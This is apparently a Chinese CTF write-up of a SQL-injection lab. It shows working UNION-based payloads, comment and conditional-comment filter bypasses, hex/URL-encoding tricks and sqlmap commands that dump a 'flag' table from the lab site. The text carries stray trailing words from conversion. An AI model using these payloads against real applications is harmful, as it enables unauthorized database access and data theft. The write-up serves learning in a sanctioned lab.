sql注入攻擊實質上是利用程序設計中的漏洞實現的php
若是代碼在引用sql語句以前,沒有對傳參內容進行控制,就容易被攻擊者利用web
本課題基於「實驗吧」提供的注入實驗平臺,對sql注入進行全面且深刻的探索性研究sql
由簡單到複雜,在三種過濾條件下分析sql注入方法數據庫
我將實戰sql注入的通常流程簡述以下bash
首先枚舉輸入關鍵字,探索代碼過濾的具體內容,即明確哪些內容可做爲參數傳入sql語句工具
關鍵字包括但不限於數字、字母、特殊符號、sql運算符測試
而後構造參數使得代碼引用sql語句時出現錯誤,經過錯誤信息對sql語句的具體內容進行判斷網站
即明確代碼具體引用了哪條或哪些sql語句編碼
實戰中,爲了全面深刻地發掘信息,咱們可能須要利用代碼調用的sql語句探索表單結構甚至是數據庫結構spa
必要時,使用輔助工具(編碼、爆庫 etc.)
界面以下所示
首先嚐試輸入最簡單的注入代碼 'or 1='1
很幸運,數據庫直接就吐出了表單內容,能夠看到其中有ID和name兩個字段
猜想代碼只是簡單地調用了select語句,且沒有對輸入內容過濾
輸入sql語句進行測試,發現部分語句被過濾
能夠判斷代碼具備過濾機制,但並不完善,咱們能夠構造輸入內容繞過
不幸的是,當前表單中並無咱們想要的內容(flag),咱們須要對數據庫結構和其餘表單的內容進行探索
好在經過上述測試,咱們已經發現了代碼漏洞
只要構造出合適的輸入內容,咱們就能夠隨意地調用sql語句,查詢其餘表單中的內容
進一步實驗發現代碼對sql語句的過濾與空格有關
以上結果顯示,代碼過濾了and及and後的空格
同時,也有些sql語句不會被代碼處理,好比以前實驗中的or怎麼都不會被代碼過濾
保險起見,我在構造中用註釋替換所有空格
經過select database()來肯定當前的數據庫名
1' union/**/select/**/database()'
數據庫名爲web1
此外,也能夠用tab來繞過,可是%a0啥的不行
information_schema 是 MySQL 自帶的信息數據庫,用於存儲數據庫元數據(關於數據的數據)
數據庫名、表名、列的數據類型、訪問權限等都存儲在 information_schema 之中
嘗試經過information_schema獲取web1中的表單信息
1' union/**/select/**/table_name from/**/information_schema.tables/**/where/**/table_schema/**/='web1
然而報錯了
實驗發現,代碼對table_schema這個字段進行了過濾,可是information_schema是能夠正常輸入的
乾脆就直接枚舉所有的表單
1' union/**/select/**/table_name from/**/information_schema.tables/**/where/**/'1'='1
找到了一個名爲flag的表單
獲取form flag中的所有內容
1' union/**/select/**/*/**/from/**/flag/**/where/**/'1'='1
提示字段數量不一致,無法在使用union鏈接的狀況下直接輸出
沒辦法,只好先查看flag中有哪些字段
1' union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag
information_schema.columns離奇消失,看來是被過濾了
大膽猜想字段名也是flag
1' union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
嗯這應該是咱們要找的東西
ps:後來發現能夠它不是經過判斷某個單詞,而是經過判斷整個關鍵字來過濾
經過關鍵字裏面套關鍵字的方法能夠完成字段查看(刪去套進去的內容後,留下的組合起來正常使用)
1' union/**/select/**/colucolumn_namemn_name/**/from/**/information_schema.coinformation_schema.columnslumns/**/where/**/table_name='flag
emmm,同樣的界面
嘗試最通常的 'or 1='1
好吧,開始測試被識別出的內容具體是啥
首先數字是沒有問題的
數字加字母也沒有問題
簡單測試sql語句和特殊符號
看來是直接過濾了空格字符
查詢數據庫名
1'/**/union/**/select/**/database()'
失敗
進一步發現是對部分sql語句進行了過濾
出現相應語句後直接禁止訪問,並非刪除後再提交,因此較難定位被檢測的語句,也較難構造輸入內容
繼續嘗試,輸入1'的時候提示sql語句出錯
綜合報錯信息和地址欄內容變化,猜想代碼實現原理是定位輸入框,獲取其中內容做爲sql查詢時使用的參數
網站源碼驗證了這一猜測
受到URL啓發,嘗試把字母(select)轉換成16進製表示,直接在地址欄中輸入
嘗試加入空字符(%00)
能夠經過加入空字符繞過過濾
修改一下代碼
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
使用%2B表示空格,在可能被過濾的單詞間加入%00
1'/**/uni%00on/**/sel%00ect/**/flag/**/from/**/flag/**/w%00here/**/'1'='1
直接在URL中輸入,提示錯誤,看來加%00不能從根本上解決問題
嘗試兩次ULR編碼加字母大寫,也沒法繞過
嘗試sql語句條件註釋,利用其選擇執行的性質把關鍵字輸入進去,獲得了flag
1'/*!union*//*!select*/flag/*!from*/flag/*!where*/'1'='1
注意到這裏的select仍然是原始狀態傳過去的,但沒被過濾
看來能夠利用php無法解釋sql註釋的bug繞過,直接用註釋替代所有空格,就能注入成功了
(暈,折騰半天后才發現最開始的輸入就能注入成功)
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
仍是這個界面
直接嘗試用註釋和條件註釋繞過(失敗)
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
1'/*!union*//*!select*/flag/*!from*/flag/*!where*/'1'='1
條件註釋加16進制編碼
1'/*!u%6eion*//*!sel%65ct*/flag/*!%66rom*/flag/*!wh%65re*/'1'='1
測試關鍵字,發現竟然是數字1被過濾了
把數字1換成字母a,用URL編碼一次,再次嘗試(仍是 hello)
a%27%2F*%21u%6eion*%2F%2F*%21sel%65ct*%2Fflag%2F*%21%66rom*%2Fflag%2F*%21wh%65re*%2F%27a%27%3D%27a
瞭解到在1被過濾的狀況下,能夠藉助sqlmap工具進行注入
具體使用方法參考了別人的writeup,攻擊過程mark以下
獲得數據庫
sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs
判斷數據庫正確性
sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-db
得到表名
sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --tables
得到flag表中字段
sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --columns -T "flag"
dump具體內容
sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dump -C "flag" -T "flag"
實質是一個暴力腳本,因此跑起來比較慢
跑完後獲得結果
經過實踐對sql注入有了深刻的瞭解
除了說起的空格繞過、URL編碼,16進制編碼,sqlmap等方法,還有布爾盲注等其餘技巧可用於攻擊
只有深入理解原理,熟練掌握技巧,才能在實戰中游刃有餘
純手工sql注入任重道遠